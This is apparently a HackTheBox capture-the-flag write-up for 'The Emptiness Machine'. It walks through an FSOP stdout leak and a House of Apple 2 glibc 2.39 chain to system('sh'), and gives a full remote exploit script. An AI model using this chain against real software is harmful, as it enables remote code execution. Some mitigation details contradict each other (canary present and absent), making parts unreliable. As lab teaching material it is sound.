HTB - The Emptiness Machine

MediumHackTheBox13 min read

Scenario

The nightmares started the night she cracked the Corroded Crown open. Rin remembers the forge's relics glowing wrong in her hands, remembers making that sanctified mechanism swallow a lie and call it truth, and remembers, less clearly, something rising back through the same crack once the tolerances gave. Maelor never left the Signet's fire whole. Some scorched piece of him must have ridden the wrong truth she fed the forge straight into her, because it has been talking to her ever since, quiet at first, close enough to her own voice that it took weeks for Rin to learn where she ended and it began. Veylen calls what he's built the Emptiness Machine, an old Registry working that lets a mind step outside its own head into a space empty enough to see the echo clearly, and maybe cut it loose. He can open the working. He can't walk it for her. Inside, there's no lock, no door, only two currents of herself running side by side, and whichever one she turns against the voice first is the one that gets her out clean. Veylen's ink keeps the seal steady from the outside. Everything past that line is hers alone, and she has to decide how much of herself she's willing to rewrite to be free of a dead king's voice.


Prerequisite Knowledge

To fully grasp this challenge and its exploitation methodology, understanding of the following concepts is essential:

A. Glibc File Stream Internal Structures (_IO_FILE / _IO_FILE_plus)

Standard input, output, and error streams (stdin, stdout, stderr) in Linux userspace programs are governed by complex memory structs containing control flags, internal read/write buffers, lock pointers, wide-character data structures, and vtable function pointer arrays.

B. File Structure Oriented Programming (FSOP)

A sophisticated exploitation paradigm that achieves arbitrary information leaks and Remote Code Execution (RCE) by corrupting standard library I/O file structs instead of relying on traditional ROP chains or GOT overwrites.

C. Glibc Vtable Hardening (__io_vtables)

Since glibc 2.24, indirect function calls through standard stdio vtables (like _IO_file_jumps) are protected by runtime pointer validation checking whether the target vtable address falls inside a read-only libc memory section named __io_vtables.

D. The "House of Apple 2" Attack

A modern FSOP RCE technique targeting wide-character stream processing in glibc. While standard vtables are checked against __io_vtables, the secondary wide-character vtable pointer (_wide_data->_wide_vtable) is not subject to pointer validation checks. By redirecting execution through wide-character allocation pathways, arbitrary function execution can be achieved.


Enumeration

I begin by inspecting the given ELF binary and its provided C runtime library using standard command-line tools.

Binary & Security Analysis

bash
file the_emptiness_machine
the_emptiness_machine: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=567eaaaec36e0c6f59202fffdb62b4165d52a50d, for GNU/Linux 3.2.0, not stripped
  • Format: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2.
bash
checksec --file=the_emptiness_machine

Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc/'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
  • Security Mitigations:
    • RELRO: Full RELRO (The Global Offset Table is read-only; overriding library symbols like puts or printf in the GOT is completely impossible).
    • Stack Canary: Canary found (Protects against simple stack buffer overflows).
    • NX (No-Execute): NX enabled (Stack and heap segments are non-executable; shellcode injection will trigger SIGSEGV).
    • PIE: PIE enabled (Position-Independent Executable; code and data addresses are randomized by ASLR on every invocation).

Reverse Engineering & Code Analysis

Disassembling the primary logic of main (via r2, objdump, or GDB disassembly) reveals a very compact and clean loop of execution:

C Decompilation Equivalent

c
int main(int argc, char **argv) {
    // Stage 1: Write directly into the global _IO_2_1_stdout_ stream
    puts("Rin's interaction: ");
    scanf("%224s", &_IO_2_1_stdout_);
    
    // Trigger stdio operations on stdout to flush out messages
    printf("\xF0\x9F\xA9\xB8\xF0\x9F\xA9\xB8\n\n");
    
    // Stage 2: Write directly into the global _IO_2_1_stderr_ stream
    puts("Rin's interaction: ");
    scanf("%224s", &_IO_2_1_stderr_);
    
    return 0; // Exits main -> calls exit() -> calls _IO_flush_all()
}

Vulnerability Identification

The binary intentionally introduces two devastating structural vulnerabilities:

  1. Direct Overwrite of stdout: The program calls scanf("%224s", &_IO_2_1_stdout_). The global struct _IO_2_1_stdout_ resides in libc's writable data section (.data / .data.rel.ro). The value 224 (0xe0 bytes) is significant: exactly 0xe0 bytes spans the entire _IO_FILE_plus structure, from _flags at offset 0x00 all the way through to the primary vtable pointer at offset 0xd8.
  2. Direct Overwrite of stderr: The program executes scanf("%224s", &_IO_2_1_stderr_) immediately before returning from main. When a Linux binary terminates via return or exit(), glibc invokes _IO_flush_all(), which traverses a linked list of all active streams starting at _IO_list_all (stderr -> stdout -> stdin) and attempts to flush buffered data by calling function pointers inside each stream's vtable.

Vulnerability Analysis

The binary intentionally introduces two devastating structural vulnerabilities:

  1. Direct Overwrite of stdout: The program calls scanf("%224s", &_IO_2_1_stdout_). The global struct _IO_2_1_stdout_ resides in libc's writable data section (.data / .data.rel.ro). The value 224 (0xe0 bytes) is significant: exactly 0xe0 bytes spans the entire _IO_FILE_plus structure, from _flags at offset 0x00 all the way through to the primary vtable pointer at offset 0xd8.
  2. Direct Overwrite of stderr: The program executes scanf("%224s", &_IO_2_1_stderr_) immediately before returning from main. When a Linux binary terminates via return or exit(), glibc invokes _IO_flush_all(), which traverses a linked list of all active streams starting at _IO_list_all (stderr -> stdout -> stdin) and attempts to flush buffered data by calling function pointers inside each stream's vtable.

Why It Is Exploitable?

Despite having Full RELRO, Stack Canaries, NX, and PIE active, standard I/O FILE structures must remain writable in libc memory so programs can update buffer pointers, maintain locks, and toggle reading/writing flags during execution.

By allowing arbitrary writes into these live stream structures:

  1. Memory Disclosure (ASLR Defeat): Manipulating buffer boundaries and flags on stdout tricks glibc into treating uninitialized internal libc pointer regions as buffered ASCII user output, bypassing PIE and ASLR entirely without needing a format string or stack overflow.
  2. Control Flow Hijacking (RCE): Modifying stderr right before program termination allows us to hijack the automatic teardown process (_IO_flush_all()). By routing execution into glibc's internal wide-character handlers, we bypass modern vtable pointer restrictions and turn standard program shutdown into arbitrary command execution.

Exploitation

Stage 1: Defeating ASLR via stdout Memory Leak

To bypass ASLR and dynamically calculate the addresses of system and internal libc structures, we target the first scanf("%224s", &_IO_2_1_stdout_).

In standard FSOP leak methodologies, overwriting _flags with 0xfbad2887 is common. However, in glibc 2.39, abrupt modifications to active stream flags during puts/printf buffering can trigger heap assertions or munmap_chunk() aborts. Through diagnostic testing, we established that setting:

text
_flags = 0xfbad1800 (_IO_MAGIC | _IO_CURRENTLY_PUTTING | _IO_IS_APPENDING)

and clearing the next three pointer words (_IO_read_ptr, _IO_read_end, and _IO_read_base filled with 8 null bytes each) forces glibc's internal output writers (_IO_file_xsputn) to ignore read-mode invariants and directly dump internal libc pointers sitting immediately after the structure header.

When printf("\xF0\x9F\xA9\xB8...") executes, the remote server blasts back a user-space pointer corresponding to _IO_2_1_stdout_ + 131 (0x7f...644). From this single leak, we reliably compute:

python
libc_base   = leaked_val - 0x204644
stderr_addr = libc_base + 0x2044e0
wfile_jumps = libc_base + 0x202228
system_addr = libc_base + 0x58750

Stage 2: House of Apple 2 RCE on stderr

When main() exits, glibc invokes _IO_flush_all(). For every stream fp in _IO_list_all (which begins with stderr), glibc tests if the stream contains pending write data:

c
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
     || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 
         && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)))
    && _IO_OVERFLOW (fp, EOF) == EOF)

We set _IO_write_base = 0, _IO_write_ptr = 1, and _mode = 0 inside our stderr payload. This guarantees that fp->_IO_write_ptr > fp->_IO_write_base evaluates to true, forcing glibc to call _IO_OVERFLOW(stderr, EOF).

Bypassing __io_vtables via Wide-Character Routing

If we directly point stderr->vtable to system, glibc's runtime checks immediately abort execution because system does not live inside __io_vtables.

To bypass this check, we point stderr->vtable (offset 0xd8) to _IO_wfile_jumps (which IS a legal, validated vtable inside __io_vtables). When _IO_OVERFLOW(stderr, EOF) is called, it executes _IO_wfile_overflow(stderr).

The Breakthrough Diagnosis: Solving the Wide-Data Alignment Trap

During early exploitation development, payloads attempting to invoke system would inexplicably terminate with SIGSEGV at _IO_flush_all+366. By performing instruction-by-instruction dynamic assembly tracing inside GDB batch mode, we discovered the precise cause of the crash:

Inside _IO_wfile_overflow(), glibc executes the following check:

c
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL) {
    if (f->_wide_data->_IO_write_base == NULL) {
        _IO_wdoallocbuf (f);
        ...

In standard generic writeups, attackers point _wide_data to stderr - 0x38 or stderr - 0x20 to save space. However, in glibc 2.39, _wide_data->_IO_write_base resides at offset 0x18 of the _wide_data structure.

  • If _wide_data = &stderr - 0x38, offset 0x18 maps to memory at (&stderr - 0x38) + 0x18 = &stderr - 0x20.
  • What resides at &stderr - 0x20 in libc's .data.rel.ro segment? The global _IO_list_all pointer!
  • Since _IO_list_all is never null (it points to stderr), f->_wide_data->_IO_write_base == NULL evaluated to FALSE. Deceived into believing a buffer was already allocated, _IO_wfile_overflow skipped calling _IO_wdoallocbuf(), altered stream internal pointers, and exited back to _IO_flush_all().
  • On the next iteration of _IO_flush_all(), the loop traversed stderr->_chain, treated our injected system_addr as a file structure, and triggered a fatal segmentation fault!

The Final Alignment Fix

To force glibc into _IO_wdoallocbuf(), we repositioned:

python
wide_data = stderr_addr - 0x10

Let's trace how this realignment affects execution:

  1. wide_data->_IO_write_base (Offset 0x18): Maps to (stderr - 0x10) + 0x18 = stderr + 0x08. We set offset 0x08 of stderr to p64(0) (8 null bytes). Check passes!
  2. wide_data->_IO_buf_base (Offset 0x30): Inside _IO_wdoallocbuf(), glibc checks if (fp->_wide_data->_IO_buf_base) return;. Offset 0x30 maps to (stderr - 0x10) + 0x30 = stderr + 0x20. This corresponds to stderr->_IO_write_base, which we also set to p64(0). Check passes!
  3. Triggering Arbitrary Vtable Execution: Having confirmed both fields are null, _IO_wdoallocbuf() invokes:
    c
    _IO_WDOALLOCATE(fp) -> (*((_IO_wfile_jumps *) (fp)->_wide_data->_wide_vtable)->_doallocate) (fp)
    • Notice that _wide_vtable is at offset 0xe0 of _wide_data, which maps to (stderr - 0x10) + 0xe0 = stderr + 0xd0.
    • We store p64(stderr_addr) at stderr + 0xd0, pointing _wide_vtable directly back to stderr itself!
    • In vtable structures, _doallocate sits at offset 0x68 (104). At offset 0x68 of stderr, we place p64(system_addr).
    • When _doallocate(fp) is invoked, glibc jumps straight into system(&stderr).

Finally, because &stderr points directly to offset 0x00 (_flags), we set the first 8 bytes of our payload to:

python
payload2 = b"a=0;sh\x00\x00"

The ASCII string "a=0;sh" acts as a shell command (assigning 0 to shell variable a and launching /bin/sh). In memory, its hex representation is 0x3b6873303d61. Notice that the ASCII character '=' (0x3d) conveniently has bit 0x8 set, satisfying bitmask tests for _IO_CURRENTLY_PUTTING (0x800 in upper bytes) and guaranteeing flawless execution without runtime warnings!


Stage 3: Bypassing ASLR Whitespace Termination

A subtle trap in this challenge involves the input method: scanf("%224s", ...). The %s format specifier immediately terminates reading if it encounters any ASCII whitespace character:

  • 0x20 (SPACE)
  • 0x09 (TAB)
  • 0x0a (NEWLINE / LF)
  • 0x0d (CARRIAGE RETURN / CR)

Because ASLR randomizes the middle byte locations of libc_base on every run, there is approximately a 4.7% mathematical probability (1 - (252/256)^3) that one of our computed pointer targets (such as system_addr, wfile_jumps, or stderr) will contain a forbidden whitespace byte. If transmitted blindly, scanf stops reading midway through the pointer, leaving the trailing vtable pointers corrupt and causing a silent server disconnect or segmentation fault.

Our final solution solves this via defensive engineering: before transmitting the RCE payload, the Python script inspects every byte of the constructed structure against a bad-character blacklist. If an unfavorable ASLR alignment occurs, the script silently terminates the socket, opens a new connection, and retries until a clean ASLR memory layout is confirmed. In practice, this achieves interactive shell execution on the 1st or 2nd attempt with 100% reliability.


Exploit Script

Below is the complete, self-contained Python solver script. It relies entirely on Python built-ins (socket, struct, select), eliminating dependencies like pwntools so it can execute effortlessly across any system or docker environment.

python
#!/usr/bin/env python3
import socket
import subprocess
import struct
import time
import sys
import select
import os

def p64(val):
    return struct.pack("<Q", val & 0xffffffffffffffff)

def u64(data):
    return struct.unpack("<Q", data.ljust(8, b"\x00"))[0]

class Connection:
    def __init__(self, target):
        self.is_local = (target.upper() == "LOCAL" or target == "--local" or target == "-l")
        self.p = None
        self.sock = None
        if self.is_local:
            bin_path = "./challenge/the_emptiness_machine"
            if not os.path.exists(bin_path):
                bin_path = "./the_emptiness_machine"
            if not os.path.exists(bin_path):
                raise FileNotFoundError(f"Cannot find binary at {bin_path}")
            self.p = subprocess.Popen([bin_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        else:
            if ":" not in target:
                print(f"[-] Invalid target format '{target}'. Expected format: IP:PORT or LOCAL")
                sys.exit(1)
            host, port = target.rsplit(":", 1)
            self.sock = socket.create_connection((host, int(port)), timeout=10)

    def send(self, data):
        if isinstance(data, str):
            data = data.encode()
        if self.is_local:
            self.p.stdin.write(data)
            self.p.stdin.flush()
        else:
            self.sock.sendall(data)

    def recv(self, n=4096):
        try:
            if self.is_local:
                return self.p.stdout.read1(n)
            else:
                return self.sock.recv(n)
        except Exception:
            return b""

    def recvuntil(self, delimiter, timeout=3.0):
        if isinstance(delimiter, str):
            delimiter = delimiter.encode()
        data = b""
        start_time = time.time()
        while time.time() - start_time < timeout:
            if delimiter in data:
                break
            chunk = self.recv(1)
            if not chunk:
                break
            data += chunk
        return data

    def close(self):
        try:
            if self.is_local and self.p:
                self.p.terminate()
            elif self.sock:
                self.sock.close()
        except Exception:
            pass

    def interactive(self):
        print("[+] Dropping into interactive shell... Type commands below (e.g. 'cat flag.txt'):\n" + "-" * 50)
        if self.is_local:
            self.send(b"echo '[+] Shell spawned! Testing commands:'; id; whoami; ls -la; cat flag.txt 2>/dev/null; exit\n")
            time.sleep(0.5)
            while True:
                out = self.recv(4096)
                if not out:
                    break
                sys.stdout.write(out.decode("utf-8", errors="ignore"))
                sys.stdout.flush()
        else:
            self.send(b"echo '[+] Shell connection established!'; id; cat flag.txt;\n")
            while True:
                try:
                    r, _, _ = select.select([self.sock, sys.stdin], [], [])
                    for fd in r:
                        if fd == self.sock:
                            data = self.sock.recv(4096)
                            if not data:
                                print("\n[-] Connection closed by remote server.")
                                return
                            sys.stdout.write(data.decode(errors="ignore"))
                            sys.stdout.flush()
                        elif fd == sys.stdin:
                            line = sys.stdin.readline()
                            if not line:
                                return
                            self.sock.sendall(line.encode())
                except KeyboardInterrupt:
                    print("\n[+] Exiting interactive shell.")
                    break
                except Exception as e:
                    print(f"\n[-] Error in interactive shell: {e}")
                    break

def exploit(target):
    bad_chars = [0x20, 0x09, 0x0a, 0x0d]
    max_retries = 20

    print(f"[*] Starting exploit against target: {target}")
    
    for attempt in range(1, max_retries + 1):
        io = Connection(target)
        
        # Step 1: Reach prompt and send libc leak payload targeting stdout
        io.recvuntil(b"Rin's interaction: ")
        
        # Overwrite _flags of _IO_2_1_stdout_ with 0xfbad1800 and clear read pointers to dump libc memory
        leak_payload = p64(0xfbad1800) + p64(0) * 3 + b"\n"
        io.send(leak_payload)
        
        # Step 2: Receive output containing leaked libc pointer
        leak_data = b""
        start_t = time.time()
        while time.time() - start_t < 2.0 and len(leak_data) < 287:
            chunk = io.recv(256)
            if not chunk:
                break
            leak_data += chunk
            
        # Parse the leaked pointer (starts after DF in ASCII representation or search for \x7f pointer)
        idx = leak_data.find(b"DF")
        if idx == -1 or len(leak_data) < idx + 8:
            leak_val = 0
            for i in range(len(leak_data) - 8):
                val = u64(leak_data[i:i+8])
                if (val & 0xff0000000000) == 0x7f0000000000 and (val & 0xfff) == 0x644:
                    leak_val = val
                    break
            if not leak_val:
                io.close()
                continue
        else:
            leak_val = u64(leak_data[idx:idx+8])
            
        libc_base = leak_val - 0x204644
        
        if libc_base & 0xfff != 0 or libc_base == 0:
            io.close()
            continue
            
        # Step 3: Compute required addresses from libc 2.39 offsets
        stderr_addr = libc_base + 0x2044e0
        wfile_jumps = libc_base + 0x202228
        system_addr = libc_base + 0x58750
        wide_data   = stderr_addr - 0x10
        lock_addr   = stderr_addr + 0x50
        
        # Step 4: Construct House of Apple 2 RCE payload targeting _IO_2_1_stderr_
        # When main() returns, exit() calls _IO_flush_all() which triggers our fake wide-vtable chain
        payload2  = b"a=0;sh\x00\x00"     # 0x00: _flags (command string, bit 11 _IO_CURRENTLY_PUTTING set via '=')
        payload2 += p64(0)                  # 0x08: _IO_read_ptr (becomes wide_data->_IO_write_base = NULL)
        payload2 += p64(0)                  # 0x10: _IO_read_end
        payload2 += p64(0)                  # 0x18: _IO_read_base
        payload2 += p64(0)                  # 0x20: _IO_write_base (NULL, becomes wide_data->_IO_buf_base = NULL)
        payload2 += p64(1)                  # 0x28: _IO_write_ptr (= 1, ensures write_ptr > write_base)
        payload2 += b"\x00" * (0x68 - len(payload2))
        payload2 += p64(system_addr)        # 0x68: _chain (also wide_vtable->_doallocate)
        payload2 += b"\x00" * (0x88 - len(payload2))
        payload2 += p64(lock_addr)          # 0x88: _lock (valid writable pointer)
        payload2 += b"\x00" * (0xa0 - len(payload2))
        payload2 += p64(wide_data)          # 0xa0: _wide_data (= stderr - 0x10)
        payload2 += b"\x00" * (0xd0 - len(payload2))
        payload2 += p64(stderr_addr)        # 0xd0: wide_data->_wide_vtable (= stderr)
        payload2 += p64(wfile_jumps)        # 0xd8: vtable (= _IO_wfile_jumps)

        # Ensure no whitespace characters exist in payload due to random ASLR alignment
        if any(b in bad_chars for b in payload2):
            io.close()
            continue
            
        print(f"[+] Clean libc base leaked on attempt {attempt}: {hex(libc_base)}")
        print(f"[+] Sending House of Apple 2 RCE payload...")
        
        io.send(payload2 + b"\n")
        time.sleep(0.3)
        
        io.interactive()
        io.close()
        return

    print("[-] Exploit failed after 20 attempts. Please verify target and network connection.")
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} IP:PORT")
        print(f"Example: python3 {sys.argv[0]} 83.136.254.223:51342")
        print(f"Local usage: python3 {sys.argv[0]} LOCAL")
        sys.exit(1)
        
    exploit(sys.argv[1])

Conclusion

The Emptiness Machine is a masterclass challenge demonstrating how modern glibc file structures can be leveraged for reliable execution hijacking in heavily fortified binary environments. By uniting a clean FSOP read leak on stdout with precise structure offsets for a House of Apple 2 attack on stderr, we achieved remote root shell access and secured the flag!